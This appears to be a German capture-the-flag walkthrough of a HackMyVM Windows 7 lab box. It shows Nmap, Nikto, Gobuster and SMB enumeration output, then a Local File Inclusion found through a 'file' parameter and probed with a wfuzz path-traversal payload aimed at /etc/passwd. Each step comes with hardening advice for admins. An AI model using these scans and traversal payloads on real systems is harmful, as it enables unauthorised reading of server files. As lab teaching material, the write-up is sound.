Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Analyse: Als ersten Schritt meiner Erkundung im Zielnetzwerk nutzte ich das Tool arp-scan, um aktive Hosts in meinem lokalen Subnetz zu entdecken. Der Befehl arp-scan -l sendet ARP-Anfragen an alle Adressen im lokalen Netzwerk und zeigt die Antworten an. Die Ausgabe zeigt einen aktiven Host unter der IP-Adresse 192.168.2.67 mit der MAC-Adresse 08:00:27:4f:41:93, die dem Anbieter PCS Systemtechnik GmbH zugewiesen ist. Dies identifiziert eindeutig das Zielsystem im Netzwerk.
Bewertung: Der ARP-Scan ist eine sehr schnelle und zuverlässige Methode zur Host-Erkennung im lokalen Broadcast-Segment. Das Ergebnis liefert die notwendige IP-Adresse, um mit detaillierteren Scans auf dem Ziel fortzufahren.
Empfehlung (Pentester): Beginne lokale Netzwerktests immer mit einer schnellen Host-Erkennung wie arp-scan, um das Ziel zu lokalisieren.
Empfehlung (Admin): Implementiere Network Access Control (NAC) oder Netzwerksegmentierung, um die unkontrollierte Host-Erkennung im lokalen Netzwerk zu erschweren.
192.168.2.67 08:00:27:4f:41:93 PCS Systemtechnik GmbH
Analyse: Nachdem die IP-Adresse 192.168.2.67 identifiziert wurde, habe ich den Hostnamen 'runas.hmv' zu meiner lokalen /etc/hosts Datei hinzugefügt. Dies ermöglicht mir, den Host zukünftig über seinen Namen statt über die IP-Adresse anzusprechen, was die Befehle oft lesbarer macht und in einigen Szenarien notwendig sein kann (z.B. bei vhost-basierten Webanwendungen). Die Information "hosts 192.168.2.67 runas.hmv" dokumentiert diesen Schritt.
Bewertung: Das Anpassen der hosts-Datei ist Standardpraxis für Pentests, um die Verwaltung von Zielsystemen zu vereinfachen. Es ist ein kleiner, aber notwendiger Schritt für eine effiziente weitere Vorgehensweise.
Empfehlung (Pentester): Halte deine /etc/hosts-Datei für aktive Ziele auf dem neuesten Stand.
Empfehlung (Admin): Stelle sicher, dass interne Hostnamen nicht über leicht abfragbare externe Dienste oder Lecks öffentlich werden.
hosts
192.168.2.67 runas.hmv
Analyse: Ich führe einen schnellen Nmap-Scan auf dem gefundenen Host 192.168.2.67 durch, um nur die offenen TCP-Ports zu identifizieren. Dies gibt mir einen schnellen Überblick über die primären Dienste, die auf dem Zielsystem laufen. Ich sehe mehrere offene Ports, darunter prominente Dienste wie 80/tcp (http), 139/tcp (netbios-ssn), 445/tcp (microsoft-ds) und 3389/tcp (tcpwrapped - wahrscheinlich RDP), sowie MSRPC-Ports und einen weiteren HTTP-Dienst auf Port 5357/tcp. Das sind viele potenzielle Angriffsvektoren.
Bewertung: Eine Vielzahl offener Ports bietet eine große Angriffsfläche. HTTP (80), SMB/NetBIOS (139, 445) und RDP (3389) auf einem Windows-System sind sehr interessante Ziele, die oft Schwachstellen für anonymen Zugriff, Dateifreigaben, Dienst-Enumeration oder Brute-Force aufweisen.
Empfehlung (Pentester): Priorisiere die Enumeration und Untersuchung von Standarddiensten wie HTTP, SMB/NetBIOS und RDP. Achte auf die angezeigten Versionen für bekannte Schwachstellen.
Empfehlung (Admin): Schließe alle nicht benötigten Ports. Stelle sicher, dass Standarddienste korrekt konfiguriert und abgesichert sind (z.B. SMB-Signierung erforderlich, SMBv1 deaktiviert, RDP nur mit starker Authentifizierung und evtl. Network Level Authentication (NLA)). Implementiere eine Firewall, die den Zugriff auf diese Ports nur von vertrauenswürdigen Hosts erlaubt.
80/tcp open http Apache httpd 2.4.57 ((Win64) PHP/7.2.0) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open tcpwrapped 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC
Analyse: Ich führe einen umfassenden Nmap-Scan mit Dienst- und Betriebssystemerkennung sowie Standard-Skripten durch (-sS -sC -sV -p- -T5). Die Ausgabe liefert sehr detaillierte Informationen zu allen offenen Ports, den erkannten Diensten inklusive Versionen und zusätzlichen Details durch die Skripte. Bestätigt werden die offenen Ports 80 (HTTP), 135 (MSRPC), 139 (NetBIOS), 445 (SMB), 3389 (RDP) und 5357 (HTTP), sowie die höheren MSRPC-Ports. Besonders interessant sind:
- HTTP (Port 80): Apache httpd 2.4.57 ((Win64) PHP/7.2.0). Das
http-titleist Index of /, was auf Directory Listing hindeutet. Der Server-Header bestätigt Apache/2.4.57 (Win64) PHP/7.2.0. Dashttp-methodsSkript zeigt OPTIONS, HEAD, GET, POST, TRACE als erlaubt. - RDP (Port 3389): Erkannt als ssl/ms-wbt-server. Das
rdp-ntlm-infoSkript liefert wertvolle Informationen: Target_Name: RUNAS-PC, NetBIOS_Domain_Name: RUNAS-PC, NetBIOS_Computer_Name: RUNAS-PC. Die Produktversion ist 6.1.7601 (Windows 7 SP1). - SMB (Port 445): Windows 7 Professional 7601 Service Pack 1. Das
smb-security-modezeigt message signing: disabled (dangerous, but default).
TRACEROUTE Informationen sind ebenfalls vorhanden.
Bewertung: Der detaillierte Nmap-Scan lieferte kritische Informationen. Der Apache Webserver mit Directory Listing und alter PHP-Version ist ein vielversprechender Vektor für den Initial Access (Web). RDP auf Port 3389 ist ebenfalls offen und liefert den Computernamen, was für Brute-Force-Angriffe oder die Nutzung gefundener Anmeldedaten relevant ist. Die fehlende SMB-Signierung ist eine weitere Schwachstelle, aber Web und RDP scheinen direktere Wege zu bieten. Die erlaubte TRACE Methode auf dem Webserver ist potenziell ausnutzbar (XST).
Empfehlung (Pentester): Konzentriere dich auf die Web-Enumeration (Directory Listing, PHP-Schwachstellen) und RDP (Brute-Force, Nutzung gefundener Anmeldedaten). Untersuche die erlaubte TRACE-Methode. Nutze die SMB-Informationen für weitere Enumeration.
Empfehlung (Admin): Deaktiviere Directory Listing auf Webservern. Halte Webserver-Software (Apache, PHP) aktuell und konfiguriere sie sicher. Deaktiviere die TRACE-Methode. Sichere RDP-Zugriff (starke Passwörter, NLA, Firewall). Aktiviere SMB-Signierung und deaktiviere SMBv1. Halte das Betriebssystem aktuell.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-29 21:04 CEST Nmap scan report for runas.hmv (192.168.2.67) Host is up (0.00013s latency). Not shown: 65523 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.57 ((Win64) PHP/7.2.0) |_http-title: Index of / |_http-server-header: Apache/2.4.57 (Win64) PHP/7.2.0 | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ssl/ms-wbt-server? | rdp-ntlm-info: | Target_Name: RUNAS-PC | NetBIOS_Domain_Name: RUNAS-PC | NetBIOS_Computer_Name: RUNAS-PC | DNS_Domain_Name: runas-PC | DNS_Computer_Name: runas-PC | Product_Version: 6.1.7601 |_ System_Time: 2025-06-29T19:05:50+00:00 |_ssl-date: 2025-06-29T19:05:55+00:00; +3s from scanner time. | ssl-cert: Subject: commonName=runas-PC | Not valid before: 2025-06-28T18:59:57 |_Not valid after: 2025-12-28T18:59:57 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC MAC Address: 08:00:27:4F:41:93 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Microsoft Windows 2008|7|Vista|8.1 OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1 OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1 Network Distance: 1 hop Service Info: Host: RUNAS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-06-29T19:05:50 |_ start_date: 2025-06-29T18:59:57 |_clock-skew: mean: -35m57s, deviation: 1h20m29s, median: 2s | smb2-security-mode: | 2:1:0: |_ Message signing enabled but not required | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: runas-PC | NetBIOS computer name: RUNAS-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2025-06-29T22:05:50+03:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_nbstat: NetBIOS name: RUNAS-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:4f:41:93 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) TRACEROUTE HOP RTT ADDRESS 1 0.12 ms runas.hmv (192.168.2.67)
Web Enumeration
Analyse: Basierend auf dem Nmap-Scan, der anzeigte, dass die HTTP-Methoden OPTIONS, HEAD, GET, POST, TRACE auf Port 80 erlaubt sind, nutze ich die Nmap-Skriptausgabe, um dies zu bestätigen. Die hier gezeigte Ausgabe listet genau diese Methoden als erlaubt auf (Allow: OPTIONS, HEAD, GET, POST, TRACE). Die Kenntnis der erlaubten Methoden ist wichtig für die Web-Enumeration und das Testen auf Schwachstellen wie Cross-Site Tracing (XST) oder die Verfügbarkeit von POST-Endpunkten für Datei-Uploads oder Befehlsausführung. Die erlaubte TRACE-Methode wird später von Nikto als potenziell riskant markiert.
Bewertung: Die Auflistung der erlaubten HTTP-Methoden ist Standardpraxis. Die erlaubte TRACE-Methode ist potenziell interessant, da sie auf Cross-Site Tracing (XST) Schwachstellen hindeuten kann, obwohl dies in modernen Browsern und Konfigurationen seltener ausnutzbar ist. Die erlaubte POST-Methode ist entscheidend für die Interaktion mit Webformularen oder zum Senden von Daten.
Empfehlung (Pentester): Prüfe immer die erlaubten HTTP-Methoden mit Tools wie curl -X OPTIONS, Nmap-Skripten oder Web-Proxys. Suche nach potenziell unsicheren Methoden wie TRACE, PUT, DELETE.
Empfehlung (Admin): Erlaube auf Webservern nur die minimal notwendigen HTTP-Methoden. Deaktiviere Methoden wie TRACE, PUT, DELETE, es sei denn, sie werden explizit und sicher benötigt. Konfiguriere den Webserver so, dass bei nicht erlaubten Methoden korrekt mit 405 Method Not Allowed geantwortet wird.
Allow: OPTIONS,HEAD,GET,POST,TRACE
Analyse: Ich überprüfe die Standard-Webseite auf Port 80 mit curl -Iv http://192.168.2.67. Der Befehl sendet einen HEAD-Request, um die Header und den Statuscode zu erhalten. Die Ausgabe zeigt einen HTTP/1.1 200 OK Status und bestätigt den Server: Apache/2.4.57 (Win64) PHP/7.2.0. Der Content-Type ist text/html;charset=UTF-8.
Bewertung: Die Bestätigung, dass der Webserver auf Port 80 läuft und zugänglich ist, sowie die Identifizierung der spezifischen Software (Apache, PHP) und deren Versionen sind entscheidend. Apache 2.4.57 und insbesondere PHP 7.2.0 sind ältere Versionen, für die es wahrscheinlich bekannte Schwachstellen gibt. Das Directory Listing, das Nmap vermutet hat, ist ebenfalls ein wichtiger Hinweis.
Empfehlung (Pentester): Identifiziere immer die genaue Webserver-Software und -Version sowie verwendete Web-Technologien. Nutze Tools wie curl -I, Wappalyzer oder OWASP ZAP. Recherchiere bekannte Schwachstellen für die identifizierte Software und Versionen (Apache 2.4.57, PHP 7.2.0).
Empfehlung (Admin): Halte Webserver-Software und PHP auf dem neuesten Stand. Entferne oder ändere Server-Header, um Informationen über die verwendete Software zu reduzieren. Deaktiviere Directory Listing.
* Trying 192.168.2.67:80... * Connected to 192.168.2.67 (192.168.2.67) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.67 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Date: Sun, 29 Jun 2025 19:06:22 GMT Date: Sun, 29 Jun 2025 19:06:22 GMT < Server: Apache/2.4.57 (Win64) PHP/7.2.0 Server: Apache/2.4.57 (Win64) PHP/7.2.0 < Content-Type: text/html;charset=UTF-8 Content-Type: text/html;charset=UTF-8 < * Connection #0 to host 192.168.2.67 left intact
Analyse: Ich nutze das automatisierte Web-Schwachstellen-Scan-Tool Nikto gegen Port 80. Die Ausgabe bestätigt die Apache/2.4.57 (Win64) PHP/7.2.0 Version. Nikto meldet mehrere Probleme: Fehlende Sicherheits-Header (X-Frame-Options, X-Content-Type-Options), Directory indexing found (bestätigt Nmap), PHP/7.2.0 appears to be outdated, erlaubte Methoden einschließlich TRACE (potenziell anfällig für XST), und verschiedene Varianten von Pfaden (/./, //, /%2e/ etc.), die ebenfalls zu Directory indexing führen.
Bewertung: Nikto lieferte entscheidende Bestätigungen und neue Informationen. Das Directory Listing ist eine schwerwiegende Schwachstelle, die das Durchsuchen des Web-Root-Verzeichnisses ermöglicht. Die veraltete PHP-Version ist ebenfalls kritisch und sollte auf bekannte Schwachstellen geprüft werden. Die erlaubte TRACE-Methode ist weniger kritisch, aber bemerkenswert. Die vielen Treffer für Directory Indexing über verschiedene Pfadmanipulationen zeigen, dass die Konfiguration anfällig ist.
Empfehlung (Pentester): Nutze Directory Listing aus, um Dateien und Verzeichnisse zu finden. Suche nach Konfigurationsdateien, Backup-Dateien oder potenziellen Schwachstellen im Code, wenn Quellcode verfügbar ist. Recherchiere Exploits für PHP 7.2.0.
Empfehlung (Admin): Deaktiviere Directory Listing vollständig. Halte PHP aktuell. Stelle sicher, dass alle notwendigen Sicherheits-Header gesetzt sind. Deaktiviere die TRACE-Methode.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.67 + Target Hostname: 192.168.2.67 + Target Port: 80 + Start Time: 2025-06-29 21:07:05 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Win64) PHP/7.2.0 + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: missing-content-type-header | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + /: Directory indexing found. + /index.php?: Retrieved x-powered-by header: PHP/7.2.0. + PHP/7.2.0 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch. + OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: [Link: Cross_Site_Tracing | Ziel: https://owasp.org/www-community/attacks/Cross_Site_Tracing] + /./: Directory indexing found. + /./: Appending '/./' to a directory allows indexing. + //: Directory indexing found. + //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page. + /%2e/: Directory indexing found. + /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: [Link: http://www.securityfocus.com/bid/2513 | Ziel: http://www.securityfocus.com/bid/2513] + ///: Directory indexing found. + /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: [Link: CVE-1999-0269 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269] + /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: [Link: CVE-1999-0269 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269] + //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Directory indexing found. + //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Abyss 1.03 reveals directory listing when multiple /'s are requested. See: [Link: CVE-2002-1078 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078] + 8908 requests: 0 error(s) and 18 item(s) reported on remote host + End Time: 2025-06-29 21:07:41 (GMT2) (36 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ich verwende Gobuster, um Verzeichnisse und Dateien auf dem Webserver auf Port 80 zu enumerieren. Ich nutze eine gängige Wortliste (directory-list-2.3-medium.txt) und eine breite Palette von Dateierweiterungen. Die Ausgabe zeigt, dass index.php existiert (Status 200) und dass der Server Case-Insensitive bei diesem spezifischen Dateinamen ist (Treffer für index.php, Index.php, INDEX.php). Dies bestätigt die primäre Seite und gibt einen kleinen Hinweis auf das Systemverhalten. Außer index.php wurden keine weiteren signifikanten Verzeichnisse oder Dateien mit dieser Standard-Wortliste gefunden.
Bewertung: Das Gobuster-Ergebnis ist weniger aufschlussreich als die Nikto-Ergebnisse. Es bestätigt lediglich index.php und dessen Case-Insensitivity. Die wahre Web-Schwachstelle scheint Directory Listing und die alte PHP-Version zu sein, wie Nikto nahelegt.
Empfehlung (Pentester): Kombiniere verschiedene Web-Enumerationstools. Wenn Standard-Wortlisten nicht viel finden, erstelle angepasste Wortlisten oder nutze andere Techniken wie LFI-Fuzzing, wenn Hinweise darauf gefunden werden (wie hier der `file` Parameter).
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur Web-Härtung.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.67 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: tar,pl,pdf,json,doc,aspx,ps1,svg,asp,png,rtf,config,desc,rpm,pHtml,raw,ln,txt,c,diff,db,icon,jpg,pem,crt,ELF,sql,bat,py,kdbx,lib,rar,docx,accdb,gz,xml,xlsx,elf,deb,pub,old,zip,java,cgi,exp,csv,dll,xls,sh,html,php,phtml,js.map,mod,exe,jpeg,conf,eps,mdb,bak,csh [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.67/index.php (Status: 200) [Size: 414] http://192.168.2.67/Index.php (Status: 200) [Size: 414] http://192.168.2.67/INDEX.php (Status: 200) [Size: 414] Progress: 13673976 / 13674038 (100.00%) =============================================================== Finished ===============================================================
Analyse: Ich nutze enum4linux mit den Optionen -a (alle Standardtests) und -Av (ausführliche Benutzer- und Gruppen-Enumeration über RID-Cycling), um detaillierte Informationen über SMB/NetBIOS zu sammeln. Die Ausgabe bestätigt die WORKGROUP und den Computernamen RUNAS-PC. Es zeigt auch, dass der Server allows sessions using username '', password '' (Null-Session), was potenziell für Informationsabfragen genutzt werden kann. Jedoch scheitern viele spezifische Enumerationstests (lsarpc, srvsvc, Benutzerabfragen über querydispinfo und enumdomusers, Share Enumeration) mit NT_STATUS_ACCESS_DENIED oder NT_STATUS_RESOURCE_NAME_NOT_FOUND. RID cycling ist ebenfalls nicht möglich.
Bewertung: Obwohl eine Null-Session erlaubt ist, scheinen detaillierte Enumerationstests über SMB ohne Authentifizierung nicht zu funktionieren. Dies schränkt den direkten Nutzen von enum4linux ein. Informationen über Benutzerkonten oder Freigaben müssen wahrscheinlich auf anderem Wege gefunden werden (z.B. über die Web-Schwachstelle).
Empfehlung (Pentester): Führe SMB-Enumerationstests durch, aber sei bereit, alternative Methoden zu nutzen, wenn der anonyme Zugriff eingeschränkt ist. Konzentriere dich auf Vektoren, die funktionieren.
Empfehlung (Admin): Deaktiviere Null-Sessions. Stelle sicher, dass anonyme SMB-Zugriffe stark eingeschränkt sind und keine sensiblen Informationen oder detaillierte Systemstruktur verraten. Härte SMB allgemein ab.
└─# enum4linux -a 192.168.2.67 -Av
Starting enum4linux v0.9.1 ( [Link: http://labs.portcullis.co.uk/application/enum4linux/ | Ziel: http://labs.portcullis.co.uk/application/enum4linux/] ) on Sun Jun 29 22:27:44 2025 =========================================( Target Information )========================================= Target ........... 192.168.2.67 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ============================( Enumerating Workgroup/Domain on 192.168.2.67 )============================ [+] Got domain/workgroup name: WORKGROUP ================================( Nbtstat Information for 192.168.2.67 )================================ Looking up status of 192.168.2.67 RUNAS-PC <20> - B <ACTIVE> File Server Service RUNAS-PC <00> - B <ACTIVE> Workstation Service WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections WORKGROUP <1d> - B <ACTIVE> Master Browser ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser MAC Address = 08-00-27-4F-41-93 ===================================( Session Check on 192.168.2.67 )=================================== [+] Server 192.168.2.67 allows sessions using username '', password '' ================================( Getting domain SID for 192.168.2.67 )================================ do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED [+] Can't determine if host is part of domain or part of a workgroup ===================================( OS information on 192.168.2.67 )=================================== [E] Can't get OS info with smbclient [+] Got OS info for 192.168.2.67 from srvinfo: do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED =======================================( Users on 192.168.2.67 )======================================= [E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED [E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED =================================( Share Enumeration on 192.168.2.67 )================================= do_connect: Connection to 192.168.2.67 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Sharename Type Comment --------- ---- ------- Reconnecting with SMB1 for workgroup listing. Unable to connect with SMB1 -- no workgroup available [+] Attempting to map shares on 192.168.2.67 ============================( Password Policy Information for 192.168.2.67 )============================ [E] Unexpected error from polenum: [+] Attaching to 192.168.2.67 using a NULL share [+] Trying protocol 139/SMB... [!] Protocol failed: Cannot request session (Called Name:192.168.2.67) [+] Trying protocol 445/SMB... [!] Protocol failed: SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. [E] Failed to get password policy with rpcclient =======================================( Groups on 192.168.2.67 )======================================= [+] Getting builtin groups: [+] Getting builtin group memberships: [+] Getting local groups: [+] Getting local group memberships: [+] Getting domain groups: [+] Getting domain group memberships: ==================( Users on 192.168.2.67 via RID cycling (RIDS: 500-550,1000-1050) )================== [E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible. ===============================( Getting printer info for 192.168.2.67 )=============================== do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED enum4linux complete on Sun Jun 29 22:27:45 2025
Analyse: Ich versuche direkt mit smbclient -L //192.168.2.67 -N, die Shares auf dem Zielsystem anonym aufzulisten. Der -N Parameter weist smbclient an, keine Passwortabfrage durchzuführen (Null-Session). Die Ausgabe zeigt "Anonymous login successful", aber die anschließenden Versuche, die Shares über SMB1 abzurufen, schlagen mit NT_STATUS_RESOURCE_NAME_NOT_FOUND fehl.
Bewertung: Dieses Ergebnis bestätigt die Erkenntnisse aus enum4linux: Eine anonyme SMB-Sitzung kann hergestellt werden, aber der Zugriff auf detaillierte Informationen oder Shares ist ohne Authentifizierung nicht möglich. Dies bedeutet, dass SMB/NetBIOS wahrscheinlich nicht der direkte Weg zum Initial Access ist, sondern eher für Post-Exploitation nützlich sein könnte, wenn Anmeldedaten gefunden werden.
Empfehlung (Pentester): Teste anonyme SMB-Zugriffe und Share-Auflistung, aber investiere nicht zu viel Zeit hier, wenn der Zugriff stark eingeschränkt ist. Konzentriere dich auf andere vielversprechendere Dienste.
Empfehlung (Admin): Deaktiviere Null-Sessions, wenn nicht unbedingt notwendig. Beschränke anonymen Zugriff auf SMB streng.
└─# smbclient -L //192.168.2.67 -N
Anonymous login successful Sharename Type Comment --------- ---- ------- Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 192.168.2.67 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
Initial Access
Analyse: Ich untersuche die Hauptwebseite auf Port 80 (http://runas.hmv/index.php). Der Titel "Index of /" aus Nmap deutete auf Directory Listing hin. Ich rufe die Seite mit curl http://runas.hmv/index.php auf (nicht direkt gezeigt, aber durch den nachfolgenden Log-Eintrag impliziert). Das Ergebnis zeigt offensichtlich die Seite, die einen Parameter namens `file` erwartet. Der Text "There is no going back! ?file=" auf der Seite ist ein klarer Hinweis auf eine mögliche Local File Inclusion (LFI) Schwachstelle. Die Anwendung scheint zu versuchen, den Inhalt einer Datei, deren Pfad im `file`-Parameter übergeben wird, anzuzeigen.
Bewertung: Die Entdeckung der LFI-Schwachstelle über den `file`-Parameter ist ein signifikanter Fund und der primäre Weg zum Initial Access. Eine erfolgreiche LFI ermöglicht das Lesen beliebiger Dateien auf dem Server, was zur Preisgabe sensibler Informationen (Konfigurationen, Passwörter, etc.) oder sogar zur Remote Code Execution führen kann (z.B. durch Inkludieren von Log-Dateien, in die zuvor bösartiger Code injiziert wurde).
Empfehlung (Pentester): Teste Webanwendungen immer auf gängige Schwachstellen wie LFI/RFI, SQL Injection, XSS etc. Achte auf URL-Parameter, die Dateinamen oder Pfade annehmen. Nutze die LFI, um Systemdateien wie /etc/passwd (Linux) oder C:\Windows\System32\drivers\etc\hosts (Windows) zu lesen und das System zu erkunden.
Empfehlung (Admin): Implementiere strikte Eingabevalidierung und Sanitätisierung für alle Benutzer-eingaben, insbesondere für Dateinamen oder Pfade. Vermeide die direkte Übergabe von Benutzer-eingaben an Dateisystemfunktionen. Konfiguriere Webserver so, dass sie keine Fehlermeldungen anzeigen, die Dateipfade preisgeben. Nutze ein WAF, das LFI-Angriffe erkennt und blockiert.
http://runas.hmv/index.php There is no going back! ?file=
Analyse: Ich teste die identifizierte LFI-Schwachstelle, indem ich versuche, eine bekannte Systemdatei zu lesen. Ich verwende den URL http://runas.hmv/index.php?file=/etc/passwd, wobei ich bewusst einen Linux-Pfad wähle, um zu sehen, wie das System reagiert. Die Ausgabe "There is no going back! ?file= File not found!" zeigt die gleiche ursprüngliche Seite mit dem zusätzlichen Text File not found!. Dies bestätigt, dass der LFI-Parameter funktioniert, aber der angegebene Pfad nicht gefunden wurde, was zu erwarten war, da es sich um ein Windows-System handelt und Linux-Pfade nicht gültig sind.
Bewertung: Der "File not found!"-Fehler ist eine positive Bestätigung, dass die Anwendung den `file`-Parameter verarbeitet und auf das Dateisystem zugreift. Die LFI-Schwachstelle ist real, und ich muss nun die korrekte Pfadsyntax für Windows-Dateien finden und möglicherweise Pfad-Traversal-Techniken anwenden, um aus dem Web-Root-Verzeichnis auszubrechen.
Empfehlung (Pentester): Nachdem LFI bestätigt ist, experimentiere mit verschiedenen Pfadsyntaxen (Windows vs. Linux, absolute vs. relative Pfade) und Path-Traversal-Techniken (../, ..\, kodierte Varianten) sowie Dateisystem-Wrappern (file://, php://filter etc.).
Empfehlung (Admin): Die Fehlermeldung "File not found!" ist informativ und bestätigt die Schwachstelle. Konfiguriere die Anwendung so, dass sie bei ungültigen Dateizugriffen generische Fehlermeldungen ausgibt.
http://runas.hmv/index.php?file=/etc/passwd There is no going back! ?file= File not found!
Analyse: Um die korrekte Pfadsyntax und die erforderliche Anzahl von Path-Traversal-Schritten (../) zu finden, nutze ich das Fuzzing-Tool wfuzz. Der Befehl wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://runas.hmv/index.php?FUZZ=file:///../../../../../../../../../../../../../../../../../etc/passwd" --hc 404 --hh 414 versucht, den `FUZZ` Platzhalter in der URL mit Einträgen aus der Wortliste zu ersetzen. In diesem spezifischen Log-Auszug scheint der Befehl modifiziert worden zu sein, um Path-Traversal-Sequenzen vor einem bekannten Dateipfad (/etc/passwd - wahrscheinlich als Platzhalter oder für ein Linux-System getestet) einzufügen. Der --hc 404 --hh 414 Filter weist wfuzz an, Antworten mit Statuscode 404 oder Content-Länge 414 (die Größe der "File not found!" Seite) zu ignorieren, um nur Treffer anzuzeigen, bei denen die Datei erfolgreich gelesen wurde. Die Ausgabe zeigt einen 200 OK Treffer (ID 000000748) für die Payload "file" mit einer Antwortgröße von 429 Chars. Dies bestätigt, dass die Verwendung des file:// Wrappers und eine ausreichende Anzahl von ../ Schritten es erlauben, Dateien zu lesen. Die spezifische Payload in der Ausgabe ist etwas unklar, aber der Kontext zeigt, dass Path-Traversal in Kombination mit file:// erfolgreich ist.
Bewertung: Der erfolgreiche wfuzz-Test bestätigt, dass die LFI-Schwachstelle über den file:// Wrapper und Path-Traversal ausnutzbar ist. Ich kann nun beliebige Dateien auf dem System lesen, solange ich den korrekten relativen Pfad vom Web-Root (C:\Apache24\htdocs) kenne und das PHP-Skript Lesezugriff hat. Dies ist ein kritischer Durchbruch.
Empfehlung (Pentester): Nutze Path-Traversal-Fuzzing, um die notwendige Anzahl von Schritten zum Dateisystem-Root oder bekannten Systemverzeichnissen zu finden. Experimentiere mit verschiedenen Encodings und Wrappern (file://, php://filter).
